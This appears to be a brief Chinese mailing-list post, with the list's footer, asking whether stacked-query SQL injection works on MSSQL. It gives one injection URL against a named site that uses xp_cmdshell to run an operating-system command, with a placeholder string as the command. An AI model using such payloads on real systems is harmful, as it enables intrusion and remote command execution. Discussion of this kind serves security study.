如果是支持多语句执行的MSSQL呢？ http://www.songdaofeng.com/av.asp?sm=yes';exec master..xp_cmdshell "fuck 1t"--
这样的话应该就不用“(”了.. --~--~---------~--~----~------------~-------~--~----~ 要向邮件组发送邮件，请发到 [email protected] 要退订此邮件，请发邮件至 [EMAIL PROTECTED] -~----------~----~----~----~------~----~------~--~---
